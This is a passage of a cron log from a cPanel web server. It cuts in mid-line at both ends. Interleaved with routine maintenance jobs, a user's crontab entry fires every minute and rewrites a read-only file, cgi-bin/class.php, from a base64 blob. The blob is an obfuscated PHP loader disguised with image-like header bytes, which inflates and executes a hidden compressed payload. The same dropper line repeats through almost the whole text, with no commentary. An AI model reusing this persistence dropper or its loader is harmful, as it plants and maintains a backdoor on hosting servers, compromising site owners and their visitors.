QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:15:01 server CROND[29372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:15:01 server CROND[29373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:16:01 server CROND[29588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:17:01 server CROND[29652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:18:01 server CROND[29731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:19:01 server CROND[29793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:20:01 server CROND[29849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 19:20:01 server CROND[29850]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:20:01 server CROND[29848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:20:01 server CROND[29851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:20:01 server CROND[29856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:21:01 server CROND[29958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:22:01 server CROND[30113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:23:01 server CROND[30170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:24:01 server CROND[30218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:25:01 server CROND[30277]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:25:01 server CROND[30279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:25:01 server CROND[30280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:26:01 server CROND[30395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:27:01 server CROND[30456]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 19:27:01 server CROND[30457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:28:01 server CROND[30630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:29:01 server CROND[30685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO